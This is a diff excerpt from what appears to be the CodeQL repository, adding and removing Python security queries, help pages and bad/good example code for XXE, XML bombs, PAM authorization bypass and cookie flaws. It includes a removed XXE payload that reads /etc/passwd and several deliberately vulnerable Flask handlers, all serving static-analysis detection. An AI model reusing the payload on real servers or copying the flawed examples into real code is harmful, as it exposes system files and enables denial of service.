|
||||
@app.post("/upload")
|
||||
def upload():
|
||||
xml_src = request.get_data()
|
||||
doc = lxml.etree.fromstring(xml_src)
|
||||
return lxml.etree.tostring(doc)
|
||||
11
python/ql/src/Security/CWE-611/examples/XxeGood.py
Normal file
11
python/ql/src/Security/CWE-611/examples/XxeGood.py
Normal file
@@ -0,0 +1,11 @@
|
||||
from flask import Flask, request
|
||||
import lxml.etree
|
||||
|
||||
app = Flask(__name__)
|
||||
|
||||
@app.post("/upload")
|
||||
def upload():
|
||||
xml_src = request.get_data()
|
||||
parser = lxml.etree.XMLParser(resolve_entities=False)
|
||||
doc = lxml.etree.fromstring(xml_src, parser=parser)
|
||||
return lxml.etree.tostring(doc)
|
||||
74
python/ql/src/Security/CWE-776/XmlBomb.qhelp
Normal file
74
python/ql/src/Security/CWE-776/XmlBomb.qhelp
Normal file
@@ -0,0 +1,74 @@
|
||||
<!DOCTYPE qhelp PUBLIC "-//Semmle//qhelp//EN" "qhelp.dtd">
|
||||
<qhelp>
|
||||
|
||||
<overview>
|
||||
<p>
|
||||
Parsing untrusted XML files with a weakly configured XML parser may be vulnerable to
|
||||
denial-of-service (DoS) attacks exploiting uncontrolled internal entity expansion.
|
||||
</p>
|
||||
<p>
|
||||
In XML, so-called <i>internal entities</i> are a mechanism for introducing an abbreviation
|
||||
for a piece of text or part of a document. When a parser that has been configured
|
||||
to expand entities encounters a reference to an internal entity, it replaces the entity
|
||||
by the data it represents. The replacement text may itself contain other entity references,
|
||||
which are expanded recursively. This means that entity expansion can increase document size
|
||||
dramatically.
|
||||
</p>
|
||||
<p>
|
||||
If untrusted XML is parsed with entity expansion enabled, a malicious attacker could
|
||||
submit a document that contains very deeply nested entity definitions, causing the parser
|
||||
to take a very long time or use large amounts of memory. This is sometimes called an
|
||||
<i>XML bomb</i> attack.
|
||||
</p>
|
||||
</overview>
|
||||
|
||||
<recommendation>
|
||||
<p>
|
||||
The safest way to prevent XML bomb attacks is to disable entity expansion when parsing untrusted
|
||||
data. Whether this can be done depends on the library being used. Note that some libraries, such as
|
||||
<code>lxml</code>, have measures enabled by default to prevent such DoS XML attacks, so
|
||||
unless you have explicitly set <code>huge_tree</code> to <code>True</code>, no further action is needed.
|
||||
</p>
|
||||
|
||||
<p>
|
||||
We recommend using the <a href="https://pypi.org/project/defusedxml/">defusedxml</a>
|
||||
PyPI package, which has been created to prevent XML attacks (both XXE and XML bombs).
|
||||
</p>
|
||||
</recommendation>
|
||||
|
||||
<example>
|
||||
<p>
|
||||
The following example uses the <code>xml.etree</code> XML parser provided by the Python standard library to
|
||||
parse a string <code>xml_src</code>. That string is from an untrusted source, so this code is
|
||||
vulnerable to a DoS attack, since the <code>xml.etree</code> XML parser expands internal entities by default:
|
||||
</p>
|
||||
<sample src="examples/XmlBombBad.py"/>
|
||||
|
||||
<p>
|
||||
It is not possible to guard against internal entity expansion with
|
||||
<code>xml.etree</code>, so to guard against these attacks, the following example uses
|
||||
the <a href="https://pypi.org/project/defusedxml/">defusedxml</a>
|
||||
PyPI package instead, which is not exposed to such internal entity expansion attacks.
|
||||
</p>
|
||||
<sample src="examples/XmlBombGood.py"/>
|
||||
</example>
|
||||
|
||||
<references>
|
||||
<li>
|
||||
Wikipedia:
|
||||
<a href="https://en.wikipedia.org/wiki/Billion_laughs">Billion Laughs</a>.
|
||||
</li>
|
||||
<li>
|
||||
Bryan Sullivan:
|
||||
<a href="https://msdn.microsoft.com/en-us/magazine/ee335713.aspx">Security Briefs - XML Denial of Service Attacks and Defenses</a>.
|
||||
</li>
|
||||
<li>
|
||||
Python 3 standard library:
|
||||
<a href="https://docs.python.org/3/library/xml.html#xml-vulnerabilities">XML Vulnerabilities</a>.
|
||||
</li>
|
||||
<li>
|
||||
Python 2 standard library:
|
||||
<a href="https://docs.python.org/2/library/xml.html#xml-vulnerabilities">XML Vulnerabilities</a>.
|
||||
</li>
|
||||
</references>
|
||||
</qhelp>
|
||||
23
python/ql/src/Security/CWE-776/XmlBomb.ql
Normal file
23
python/ql/src/Security/CWE-776/XmlBomb.ql
Normal file
@@ -0,0 +1,23 @@
|
||||
/**
|
||||
* @name XML internal entity expansion
|
||||
* @description Parsing user input as an XML document with arbitrary internal
|
||||
* entity expansion is vulnerable to denial-of-service attacks.
|
||||
* @kind path-problem
|
||||
* @problem.severity warning
|
||||
* @security-severity 7.5
|
||||
* @precision high
|
||||
* @id py/xml-bomb
|
||||
* @tags security
|
||||
* external/cwe/cwe-776
|
||||
* external/cwe/cwe-400
|
||||
*/
|
||||
|
||||
import python
|
||||
import semmle.python.security.dataflow.XmlBombQuery
|
||||
import DataFlow::PathGraph
|
||||
|
||||
from Configuration cfg, DataFlow::PathNode source, DataFlow::PathNode sink
|
||||
where cfg.hasFlowPath(source, sink)
|
||||
select sink.getNode(), source, sink,
|
||||
"A $@ is parsed as XML without guarding against uncontrolled entity expansion.", source.getNode(),
|
||||
"user-provided value"
|
||||
10
python/ql/src/Security/CWE-776/examples/XmlBombBad.py
Normal file
10
python/ql/src/Security/CWE-776/examples/XmlBombBad.py
Normal file
@@ -0,0 +1,10 @@
|
||||
from flask import Flask, request
|
||||
import xml.etree.ElementTree as ET
|
||||
|
||||
app = Flask(__name__)
|
||||
|
||||
@app.post("/upload")
|
||||
def upload():
|
||||
xml_src = request.get_data()
|
||||
doc = ET.fromstring(xml_src)
|
||||
return ET.tostring(doc)
|
||||
10
python/ql/src/Security/CWE-776/examples/XmlBombGood.py
Normal file
10
python/ql/src/Security/CWE-776/examples/XmlBombGood.py
Normal file
@@ -0,0 +1,10 @@
|
||||
from flask import Flask, request
|
||||
import defusedxml.ElementTree as ET
|
||||
|
||||
app = Flask(__name__)
|
||||
|
||||
@app.post("/upload")
|
||||
def upload():
|
||||
xml_src = request.get_data()
|
||||
doc = ET.fromstring(xml_src)
|
||||
return ET.tostring(doc)
|
||||
4
python/ql/src/change-notes/2022-03-24-csrf-protection.md
Normal file
4
python/ql/src/change-notes/2022-03-24-csrf-protection.md
Normal file
@@ -0,0 +1,4 @@
|
||||
---
|
||||
category: newQuery
|
||||
---
|
||||
* The query "CSRF protection weakened or disabled" (`py/csrf-protection-disabled`) has been implemented. Its results will now appear by default.
|
||||
@@ -0,0 +1,5 @@
|
||||
---
|
||||
category: newQuery
|
||||
---
|
||||
* "XML external entity expansion" (`py/xxe`). Results will appear by default. This query was based on [an experimental query by @jorgectf](https://github.com/github/codeql/pull/6112).
|
||||
* "XML internal entity expansion" (`py/xml-bomb`). Results will appear by default. This query was based on [an experimental query by @jorgectf](https://github.com/github/codeql/pull/6112).
|
||||
1
python/ql/src/change-notes/released/0.1.1.md
Normal file
1
python/ql/src/change-notes/released/0.1.1.md
Normal file
@@ -0,0 +1 @@
|
||||
## 0.1.1
|
||||
@@ -1,2 +1,2 @@
|
||||
---
|
||||
lastReleaseVersion: 0.1.0
|
||||
lastReleaseVersion: 0.1.1
|
||||
|
||||
@@ -0,0 +1,49 @@
|
||||
<!DOCTYPE qhelp PUBLIC "-//Semmle//qhelp//EN" "qhelp.dtd">
|
||||
<qhelp>
|
||||
<overview>
|
||||
<p>
|
||||
Using only a call to
|
||||
<code>pam_authenticate</code>
|
||||
to check the validity of a login can lead to authorization bypass vulnerabilities.
|
||||
</p>
|
||||
<p>
|
||||
A
|
||||
<code>pam_authenticate</code>
|
||||
only verifies the credentials of a user. It does not check if a user has an appropriate authorization to actually login. This means a user with a expired login or a password can still access the system.
|
||||
</p>
|
||||
|
||||
</overview>
|
||||
|
||||
<recommendation>
|
||||
<p>
|
||||
A call to
|
||||
<code>pam_authenticate</code>
|
||||
should be followed by a call to
|
||||
<code>pam_acct_mgmt</code>
|
||||
to check if a user is allowed to login.
|
||||
</p>
|
||||
</recommendation>
|
||||
|
||||
<example>
|
||||
<p>
|
||||
In the following example, the code only checks the credentials of a user. Hence, in this case, a user expired with expired creds can still login. This can be verified by creating a new user account, expiring it with
|
||||
<code>chage -E0 `username` </code>
|
||||
and then trying to log in.
|
||||
</p>
|
||||
<sample src="PamAuthorizationBad.py" />
|
||||
|
||||
<p>
|
||||
This can be avoided by calling
|
||||
<code>pam_acct_mgmt</code>
|
||||
call to verify access as has been done in the snippet shown below.
|
||||
</p>
|
||||
<sample src="PamAuthorizationGood.py" />
|
||||
</example>
|
||||
|
||||
<references>
|
||||
<li>
|
||||
Man-Page:
|
||||
<a href="https://man7.org/linux/man-pages/man3/pam_acct_mgmt.3.html">pam_acct_mgmt</a>
|
||||
</li>
|
||||
</references>
|
||||
</qhelp>
|
||||
@@ -0,0 +1,36 @@
|
||||
/**
|
||||
* @name Authorization bypass due to incorrect usage of PAM
|
||||
* @description Using only the `pam_authenticate` call to check the validity of a login can lead to a authorization bypass.
|
||||
* @kind problem
|
||||
* @problem.severity warning
|
||||
* @precision high
|
||||
* @id py/pam-auth-bypass
|
||||
* @tags security
|
||||
* external/cwe/cwe-285
|
||||
*/
|
||||
|
||||
import python
|
||||
import semmle.python.ApiGraphs
|
||||
import experimental.semmle.python.Concepts
|
||||
import semmle.python.dataflow.new.TaintTracking
|
||||
|
||||
API::Node libPam() {
|
||||
exists(API::CallNode findLibCall, API::CallNode cdllCall |
|
||||
findLibCall = API::moduleImport("ctypes").getMember("util").getMember("find_library").getACall() and
|
||||
findLibCall.getParameter(0).getAValueReachingRhs().asExpr().(StrConst).getText() = "pam" and
|
||||
cdllCall = API::moduleImport("ctypes").getMember("CDLL").getACall() and
|
||||
cdllCall.getParameter(0).getAValueReachingRhs() = findLibCall
|
||||
|
|
||||
result = cdllCall.getReturn()
|
||||
)
|
||||
}
|
||||
|
||||
from API::CallNode authenticateCall, DataFlow::Node handle
|
||||
where
|
||||
authenticateCall = libPam().getMember("pam_authenticate").getACall() and
|
||||
handle = authenticateCall.getArg(0) and
|
||||
not exists(API::CallNode acctMgmtCall |
|
||||
acctMgmtCall = libPam().getMember("pam_acct_mgmt").getACall() and
|
||||
DataFlow::localFlow(handle, acctMgmtCall.getArg(0))
|
||||
)
|
||||
select authenticateCall, "This PAM authentication call may be lead to an authorization bypass."
|
||||
@@ -0,0 +1,13 @@
|
||||
def authenticate(self, username, password, service='login', encoding='utf-8', resetcreds=True):
|
||||
libpam = CDLL(find_library("pam"))
|
||||
pam_authenticate = libpam.pam_authenticate
|
||||
pam_authenticate.restype = c_int
|
||||
pam_authenticate.argtypes = [PamHandle, c_int]
|
||||
|
||||
|
||||
handle = PamHandle()
|
||||
conv = PamConv(my_conv, 0)
|
||||
retval = pam_start(service, username, byref(conv), byref(handle))
|
||||
|
||||
retval = pam_authenticate(handle, 0)
|
||||
return retval == 0
|
||||
@@ -0,0 +1,17 @@
|
||||
def authenticate(self, username, password, service='login', encoding='utf-8', resetcreds=True):
|
||||
libpam = CDLL(find_library("pam"))
|
||||
pam_authenticate = libpam.pam_authenticate
|
||||
pam_acct_mgmt = libpam.pam_acct_mgmt
|
||||
pam_authenticate.restype = c_int
|
||||
pam_authenticate.argtypes = [PamHandle, c_int]
|
||||
pam_acct_mgmt.restype = c_int
|
||||
pam_acct_mgmt.argtypes = [PamHandle, c_int]
|
||||
|
||||
handle = PamHandle()
|
||||
conv = PamConv(my_conv, 0)
|
||||
retval = pam_start(service, username, byref(conv), byref(handle))
|
||||
|
||||
retval = pam_authenticate(handle, 0)
|
||||
if retval == 0:
|
||||
retval = pam_acct_mgmt(handle, 0)
|
||||
return retval == 0
|
||||
@@ -10,16 +10,10 @@
|
||||
*/
|
||||
|
||||
private import python
|
||||
private import experimental.semmle.python.Concepts
|
||||
private import semmle.python.Concepts
|
||||
private import semmle.python.ApiGraphs
|
||||
|
||||
from DataFlow::CallCfgNode call, string kinds
|
||||
from DataFlow::CallCfgNode call
|
||||
where
|
||||
call = API::moduleImport("xmlrpc").getMember("server").getMember("SimpleXMLRPCServer").getACall() and
|
||||
kinds =
|
||||
strictconcat(ExperimentalXML::XMLVulnerabilityKind kind |
|
||||
kind.isBillionLaughs() or kind.isQuadraticBlowup()
|
||||
|
|
||||
kind, ", "
|
||||
)
|
||||
select call, "SimpleXMLRPCServer is vulnerable to: " + kinds + "."
|
||||
call = API::moduleImport("xmlrpc").getMember("server").getMember("SimpleXMLRPCServer").getACall()
|
||||
select call, "SimpleXMLRPCServer is vulnerable to XML bombs"
|
||||
|
||||
@@ -1,4 +0,0 @@
|
||||
<?xml version="1.0"?>
|
||||
<!DOCTYPE dt [
|
||||
<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
|
||||
<test>&xxe;</test>
|
||||
@@ -1,25 +0,0 @@
|
||||
from flask import request, Flask
|
||||
import lxml.etree
|
||||
import xml.etree.ElementTree
|
||||
|
||||
app = Flask(__name__)
|
||||
|
||||
# BAD
|
||||
@app.route("/bad")
|
||||
def bad():
|
||||
xml_content = request.args['xml_content']
|
||||
|
||||
parser = lxml.etree.XMLParser()
|
||||
parsed_xml = xml.etree.ElementTree.fromstring(xml_content, parser=parser)
|
||||
|
||||
return parsed_xml.text
|
||||
|
||||
# GOOD
|
||||
@app.route("/good")
|
||||
def good():
|
||||
xml_content = request.args['xml_content']
|
||||
|
||||
parser = lxml.etree.XMLParser(resolve_entities=False)
|
||||
parsed_xml = xml.etree.ElementTree.fromstring(xml_content, parser=parser)
|
||||
|
||||
return parsed_xml.text
|
||||
@@ -1,48 +0,0 @@
|
||||
<!DOCTYPE qhelp PUBLIC
|
||||
"-//Semmle//qhelp//EN"
|
||||
"qhelp.dtd">
|
||||
<qhelp>
|
||||
|
||||
<overview>
|
||||
<p>
|
||||
Parsing untrusted XML files with a weakly configured XML parser may lead to attacks such as XML External Entity (XXE),
|
||||
Billion Laughs, Quadratic Blowup and DTD retrieval.
|
||||
This type of attack uses external entity references to access arbitrary files on a system, carry out denial of
|
||||
service, or server side request forgery. Even when the result of parsing is not returned to the user, out-of-band
|
||||
data retrieval techniques may allow attackers to steal sensitive data. Denial of services can also be carried out
|
||||
in this situation.
|
||||
</p>
|
||||
</overview>
|
||||
|
||||
<recommendation>
|
||||
<p>
|
||||
Use <a href="https://pypi.org/project/defusedxml/">defusedxml</a>, a Python package aimed
|
||||
to prevent any potentially malicious operation.
|
||||
</p>
|
||||
</recommendation>
|
||||
|
||||
<example>
|
||||
<p>
|
||||
The following example calls <code>xml.etree.ElementTree.fromstring</code> using a parser (<code>lxml.etree.XMLParser</code>)
|
||||
that is not safely configured on untrusted data, and is therefore inherently unsafe.
|
||||
</p>
|
||||
<sample src="XmlEntityInjection.py"/>
|
||||
<p>
|
||||
Providing an input (<code>xml_content</code>) like the following XML content against /bad, the request response would contain the contents of
|
||||
<code>/etc/passwd</code>.
|
||||
</p>
|
||||
<sample src="XXE.xml"/>
|
||||
</example>
|
||||
|
||||
<references>
|
||||
<li>Python 3 <a href="https://docs.python.org/3/library/xml.html#xml-vulnerabilities">XML Vulnerabilities</a>.</li>
|
||||
<li>Python 2 <a href="https://docs.python.org/2/library/xml.html#xml-vulnerabilities">XML Vulnerabilities</a>.</li>
|
||||
<li>Python <a href="https://www.edureka.co/blog/python-xml-parser-tutorial/">XML Parsing</a>.</li>
|
||||
<li>OWASP vulnerability description: <a href="https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing">XML External Entity (XXE) Processing</a>.</li>
|
||||
<li>OWASP guidance on parsing xml files: <a href="https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html#python">XXE Prevention Cheat Sheet</a>.</li>
|
||||
<li>Paper by Timothy Morgen: <a href="https://research.nccgroup.com/2014/05/19/xml-schema-dtd-and-entity-attacks-a-compendium-of-known-techniques/">XML Schema, DTD, and Entity Attacks</a></li>
|
||||
<li>Out-of-band data retrieval: Timur Yunusov & Alexey Osipov, Black hat EU 2013: <a href="https://www.slideshare.net/qqlan/bh-ready-v4">XML Out-Of-Band Data Retrieval</a>.</li>
|
||||
<li>Denial of service attack (Billion laughs): <a href="https://en.wikipedia.org/wiki/Billion_laughs">Billion Laughs.</a></li>
|
||||
</references>
|
||||
|
||||
</qhelp>
|
||||
@@ -1,31 +0,0 @@
|
||||
/**
|
||||
* @name XML Entity injection
|
||||
* @description User input should not be parsed allowing the injection of entities.
|
||||
* @kind path-problem
|
||||
* @problem.severity error
|
||||
* @id py/xml-entity-injection
|
||||
* @tags security
|
||||
* external/cwe/cwe-611
|
||||
* external/cwe/cwe-776
|
||||
* external/cwe/cwe-827
|
||||
*/
|
||||
|
||||
// determine precision above
|
||||
import python
|
||||
import experimental.semmle.python.security.dataflow.XmlEntityInjection
|
||||
import DataFlow::PathGraph
|
||||
|
||||
from
|
||||
XmlEntityInjection::XmlEntityInjectionConfiguration config, DataFlow::PathNode source,
|
||||
DataFlow::PathNode sink, string kinds
|
||||
where
|
||||
config.hasFlowPath(source, sink) and
|
||||
kinds =
|
||||
strictconcat(string kind |
|
||||
kind = sink.getNode().(XmlEntityInjection::Sink).getVulnerableKind()
|
||||
|
|
||||
kind, ", "
|
||||
)
|
||||
select sink.getNode(), source, sink,
|
||||
"$@ XML input is constructed from a $@ and is vulnerable to: " + kinds + ".", sink.getNode(),
|
||||
"This", source.getNode(), "user-provided value"
|
||||
@@ -0,0 +1,16 @@
|
||||
from flask import request, make_response
|
||||
|
||||
|
||||
@app.route("/1")
|
||||
def true():
|
||||
resp = make_response()
|
||||
resp.set_cookie(request.args["name"],
|
||||
value=request.args["name"])
|
||||
return resp
|
||||
|
||||
|
||||
@app.route("/2")
|
||||
def flask_make_response():
|
||||
resp = make_response("hello")
|
||||
resp.headers['Set-Cookie'] = f"{request.args['name']}={request.args['name']};"
|
||||
return resp
|
||||
@@ -0,0 +1,28 @@
|
||||
<!DOCTYPE qhelp PUBLIC
|
||||
"-//Semmle//qhelp//EN"
|
||||
"qhelp.dtd">
|
||||
<qhelp>
|
||||
|
||||
<overview>
|
||||
<p>Constructing cookies from user input may allow an attacker to perform a Cookie Poisoning attack.
|
||||
It is possible, however, to perform other parameter-like attacks through cookie poisoning techniques,
|
||||
such as SQL Injection, Directory Traversal, or Stealth Commanding, etc. Additionally,
|
||||
cookie injection may relate to attempts to perform Access of Administrative Interface.
|
||||
</p>
|
||||
</overview>
|
||||
|
||||
<recommendation>
|
||||
<p>Do not use raw user input to construct cookies.</p>
|
||||
</recommendation>
|
||||
|
||||
<example>
|
||||
<p>This example shows two ways of adding a cookie to a Flask response. The first way uses <code>set_cookie</code>'s
|
||||
and the second sets a cookie's raw value through a header, both using user-supplied input.</p>
|
||||
<sample src="CookieInjection.py" />
|
||||
</example>
|
||||
|
||||
<references>
|
||||
<li>Imperva: <a href="https://docs.imperva.com/bundle/on-premises-knowledgebase-reference-guide/page/cookie_injection.htm">Cookie injection</a>.</li>
|
||||
</references>
|
||||
|
||||
</qhelp>
|
||||
@@ -0,0 +1,28 @@
|
||||
/**
|
||||
* @name Construction of a cookie using user-supplied input.
|
||||
* @description Constructing cookies from user input may allow an attacker to perform a Cookie Poisoning attack.
|
||||
* @kind path-problem
|
||||
* @problem.severity error
|
||||
* @id py/cookie-injection
|
||||
* @tags security
|
||||
* external/cwe/cwe-614
|
||||
*/
|
||||
|
||||
// determine precision above
|
||||
import python
|
||||
import semmle.python.dataflow.new.DataFlow
|
||||
import experimental.semmle.python.Concepts
|
||||
import experimental.semmle.python.CookieHeader
|
||||
import experimental.semmle.python.security.injection.CookieInjection
|
||||
import DataFlow::PathGraph
|
||||
|
||||
from
|
||||
CookieInjectionFlowConfig config, DataFlow::PathNode source, DataFlow::PathNode sink,
|
||||
string insecure
|
||||
where
|
||||
config.hasFlowPath(source, sink) and
|
||||
if exists(sink.getNode().(CookieSink))
|
||||
then insecure = ",and its " + sink.getNode().(CookieSink).getFlag() + " flag is not properly set."
|
||||
else insecure = "."
|
||||
select sink.getNode(), source, sink, "Cookie is constructed from a $@" + insecure, source.getNode(),
|
||||
"user-supplied input"
|
||||
@@ -0,0 +1,15 @@
|
||||
from flask import Flask, request, make_response, Response
|
||||
|
||||
|
||||
@app.route("/1")
|
||||
def true():
|
||||
resp = make_response()
|
||||
resp.set_cookie("name", value="value", secure=True)
|
||||
return resp
|
||||
|
||||
|
||||
@app.route("/2")
|
||||
def flask_make_response():
|
||||
resp = make_response("hello")
|
||||
resp.headers['Set-Cookie'] = "name=value; Secure;"
|
||||
return resp
|
||||
@@ -0,0 +1,31 @@
|
||||
<!DOCTYPE qhelp PUBLIC
|
||||
"-//Semmle//qhelp//EN"
|
||||
"qhelp.dtd">
|
||||
<qhelp>
|
||||
|
||||
<overview>
|
||||
<p>Setting the 'secure' flag on a cookie to <code>False</code> can cause it to be sent in cleartext.
|
||||
Setting the 'httponly' flag on a cookie to <code>False</code> may allow attackers access it via JavaScript.
|
||||
Setting the 'samesite' flag on a cookie to <code>'None'</code> will make the cookie to be sent in third-party
|
||||
contexts which may be attacker-controlled.</p>
|
||||
</overview>
|
||||
|
||||
<recommendation>
|
||||
<p>Always set <code>secure</code> to <code>True</code> or add "; Secure;" to the cookie's raw value.</p>
|
||||
<p>Always set <code>httponly</code> to <code>True</code> or add "; HttpOnly;" to the cookie's raw value.</p>
|
||||
<p>Always set <code>samesite</code> to <code>Lax</code> or <code>Strict</code>, or add "; SameSite=Lax;", or
|
||||
"; Samesite=Strict;" to the cookie's raw header value.</p>
|
||||
</recommendation>
|
||||
|
||||
<example>
|
||||
<p>This example shows two ways of adding a cookie to a Flask response. The first way uses <code>set_cookie</code>'s
|
||||
secure flag and the second adds the secure flag in the cookie's raw value.</p>
|
||||
<sample src="InsecureCookie.py" />
|
||||
</example>
|
||||
|
||||
<references>
|
||||
<li>Detectify: <a href="https://support.detectify.com/support/solutions/articles/48001048982-cookie-lack-secure-flag">Cookie lack Secure flag</a>.</li>
|
||||
<li>PortSwigger: <a href="https://portswigger.net/kb/issues/00500200_tls-cookie-without-secure-flag-set">TLS cookie without secure flag set</a>.</li>
|
||||
</references>
|
||||
|
||||
</qhelp>
|
||||
@@ -0,0 +1,30 @@
|
||||
/**
|
||||
* @name Failure to use secure cookies
|
||||
* @description Insecure cookies may be sent in cleartext, which makes them vulnerable to
|
||||
* interception.
|
||||
* @kind problem
|
||||
* @problem.severity error
|
||||
* @security-severity 5.0
|
||||
* @precision ???
|
||||
* @id py/insecure-cookie
|
||||
* @tags security
|
||||
* external/cwe/cwe-614
|
||||
*/
|
||||
|
||||
// TODO: determine precision above
|
||||
import python
|
||||
import semmle.python.dataflow.new.DataFlow
|
||||
import experimental.semmle.python.Concepts
|
||||
import experimental.semmle.python.CookieHeader
|
||||
|
||||
from Cookie cookie, string alert
|
||||
where
|
||||
not cookie.isSecure() and
|
||||
alert = "secure"
|
||||
or
|
||||
not cookie.isHttpOnly() and
|
||||
alert = "httponly"
|
||||
or
|
||||
not cookie.isSameSite() and
|
||||
alert = "samesite"
|
||||
select cookie, "Cookie is added without the '" + alert + "' flag properly set."
|
||||
@@ -13,6 +13,7 @@ private import semmle.python.dataflow.new.DataFlow
|
||||
private import semmle.python.dataflow.new.RemoteFlowSources
|
||||
private import semmle.python.dataflow.new.TaintTracking
|
||||
private import experimental.semmle.python.Frameworks
|
||||
private import semmle.python.Concepts
|
||||
|
||||
/** Provides classes for modeling copying file related APIs. */
|
||||
module CopyFile {
|
||||
@@ -81,74 +82,6 @@ class LogOutput extends DataFlow::Node {
|
||||
DataFlow::Node getAnInput() { result = range.getAnInput() }
|
||||
}
|
||||
|
||||
/**
|
||||
* Since there is both XML module in normal and experimental Concepts,
|
||||
* we have to rename the experimental module as this.
|
||||
*/
|
||||
module ExperimentalXML {
|
||||
/**
|
||||
* A kind of XML vulnerability.
|
||||
*
|
||||
* See https://pypi.org/project/defusedxml/#python-xml-libraries
|
||||
*/
|
||||
class XMLVulnerabilityKind extends string {
|
||||
XMLVulnerabilityKind() {
|
||||
this in ["Billion Laughs", "Quadratic Blowup", "XXE", "DTD retrieval"]
|
||||
}
|
||||
|
||||
/** Holds for Billion Laughs vulnerability kind. */
|
||||
predicate isBillionLaughs() { this = "Billion Laughs" }
|
||||
|
||||
/** Holds for Quadratic Blowup vulnerability kind. */
|
||||
predicate isQuadraticBlowup() { this = "Quadratic Blowup" }
|
||||
|
||||
/** Holds for XXE vulnerability kind. */
|
||||
predicate isXxe() { this = "XXE" }
|
||||
|
||||
/** Holds for DTD retrieval vulnerability kind. */
|
||||
predicate isDtdRetrieval() { this = "DTD retrieval" }
|
||||
}
|
||||
|
||||
/**
|
||||
* A data-flow node that parses XML.
|
||||
*
|
||||
* Extend this class to model new APIs. If you want to refine existing API models,
|
||||
* extend `XMLParsing` instead.
|
||||
*/
|
||||
class XMLParsing extends DataFlow::Node instanceof XMLParsing::Range {
|
||||
/**
|
||||
* Gets the argument containing the content to parse.
|
||||
*/
|
||||
DataFlow::Node getAnInput() { result = super.getAnInput() }
|
||||
|
||||
/**
|
||||
* Holds if this XML parsing is vulnerable to `kind`.
|
||||
*/
|
||||
predicate vulnerableTo(XMLVulnerabilityKind kind) { super.vulnerableTo(kind) }
|
||||
}
|
||||
|
||||
/** Provides classes for modeling XML parsing APIs. */
|
||||
module XMLParsing {
|
||||
/**
|
||||
* A data-flow node that parses XML.
|
||||
*
|
||||
* Extend this class to model new APIs. If you want to refine existing API models,
|
||||
* extend `XMLParsing` instead.
|
||||
*/
|
||||
abstract class Range extends DataFlow::Node {
|
||||
/**
|
||||
* Gets the argument containing the content to parse.
|
||||
*/
|
||||
abstract DataFlow::Node getAnInput();
|
||||
|
||||
/**
|
||||
* Holds if this XML parsing is vulnerable to `kind`.
|
||||
*/
|
||||
abstract predicate vulnerableTo(XMLVulnerabilityKind kind);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/** Provides classes for modeling LDAP query execution-related APIs. */
|
||||
module LdapQuery {
|
||||
/**
|
||||
@@ -438,6 +371,55 @@ class HeaderDeclaration extends DataFlow::Node {
|
||||
DataFlow::Node getValueArg() { result = range.getValueArg() }
|
||||
}
|
||||
|
||||
/**
|
||||
* A data-flow node that sets a cookie in an HTTP response.
|
||||
*
|
||||
* Extend this class to refine existing API models. If you want to model new APIs,
|
||||
* extend `Cookie::Range` instead.
|
||||
*/
|
||||
class Cookie extends HTTP::Server::CookieWrite instanceof Cookie::Range {
|
||||
/**
|
||||
* Holds if this cookie is secure.
|
||||
*/
|
||||
predicate isSecure() { super.isSecure() }
|
||||
|
||||
/**
|
||||
* Holds if this cookie is HttpOnly.
|
||||
*/
|
||||
predicate isHttpOnly() { super.isHttpOnly() }
|
||||
|
||||
/**
|
||||
* Holds if the cookie is SameSite
|
||||
*/
|
||||
predicate isSameSite() { super.isSameSite() }
|
||||
}
|
||||
|
||||
/** Provides a class for modeling new cookie writes on HTTP responses. */
|
||||
module Cookie {
|
||||
/**
|
||||
* A data-flow node that sets a cookie in an HTTP response.
|
||||
*
|
||||
* Extend this class to model new APIs. If you want to refine existing API models,
|
||||
* extend `Cookie` instead.
|
||||
*/
|
||||
abstract class Range extends HTTP::Server::CookieWrite::Range {
|
||||
/**
|
||||
* Holds if this cookie is secure.
|
||||
*/
|
||||
abstract predicate isSecure();
|
||||
|
||||
/**
|
||||
* Holds if this cookie is HttpOnly.
|
||||
*/
|
||||
abstract predicate isHttpOnly();
|
||||
|
||||
/**
|
||||
* Holds if the cookie is SameSite.
|
||||
*/
|
||||
abstract predicate isSameSite();
|
||||
}
|
||||
}
|
||||
|
||||
/** Provides classes for modeling JWT encoding-related APIs. */
|
||||
module JwtEncoding {
|
||||
/**
|
||||
|
||||
72
python/ql/src/experimental/semmle/python/CookieHeader.qll
Normal file
72
python/ql/src/experimental/semmle/python/CookieHeader.qll
Normal file
@@ -0,0 +1,72 @@
|
||||
/**
|
||||
* Temporary: provides a class to extend current cookies to header declarations
|
||||
*/
|
||||
|
||||
import python
|
||||
import semmle.python.dataflow.new.DataFlow
|
||||
import semmle.python.dataflow.new.TaintTracking
|
||||
import experimental.semmle.python.Concepts
|
||||
|
||||
/**
|
||||
* Gets a header setting a cookie.
|
||||
*
|
||||
* Given the following example:
|
||||
*
|
||||
* ```py
|
||||
* @app.route("/")
|
||||
* def flask_make_response():
|
||||
* resp = make_response("")
|
||||
* resp.headers['Set-Cookie'] = "name=value; Secure;"
|
||||
* return resp
|
||||
* ```
|
||||
*
|
||||
* * `this` would be `resp.headers['Set-Cookie'] = "name=value; Secure;"`.
|
||||
* * `isSecure()` predicate would succeed.
|
||||
* * `isHttpOnly()` predicate would fail.
|
||||
* * `isSameSite()` predicate would fail.
|
||||
* * `getName()` and `getValue()` results would be `"name=value; Secure;"`.
|
||||
*/
|
||||
class CookieHeader extends Cookie::Range instanceof HeaderDeclaration {
|
||||
CookieHeader() {
|
||||
this instanceof HeaderDeclaration and
|
||||
exists(StrConst str |
|
||||
str.getText() = "Set-Cookie" and
|
||||
DataFlow::exprNode(str)
|
||||
.(DataFlow::LocalSourceNode)
|
||||
.flowsTo(this.(HeaderDeclaration).getNameArg())
|
||||
)
|
||||
}
|
||||
|
||||
override predicate isSecure() {
|
||||
exists(StrConst str |
|
||||
str.getText().regexpMatch(".*; *Secure;.*") and
|
||||
DataFlow::exprNode(str)
|
||||
.(DataFlow::LocalSourceNode)
|
||||
.flowsTo(this.(HeaderDeclaration).getValueArg())
|
||||
)
|
||||
}
|
||||
|
||||
override predicate isHttpOnly() {
|
||||
exists(StrConst str |
|
||||
str.getText().regexpMatch(".*; *HttpOnly;.*") and
|
||||
DataFlow::exprNode(str)
|
||||
.(DataFlow::LocalSourceNode)
|
||||
.flowsTo(this.(HeaderDeclaration).getValueArg())
|
||||
)
|
||||
}
|
||||
|
||||
override predicate isSameSite() {
|
||||
exists(StrConst str |
|
||||
str.getText().regexpMatch(".*; *SameSite=(Strict|Lax);.*") and
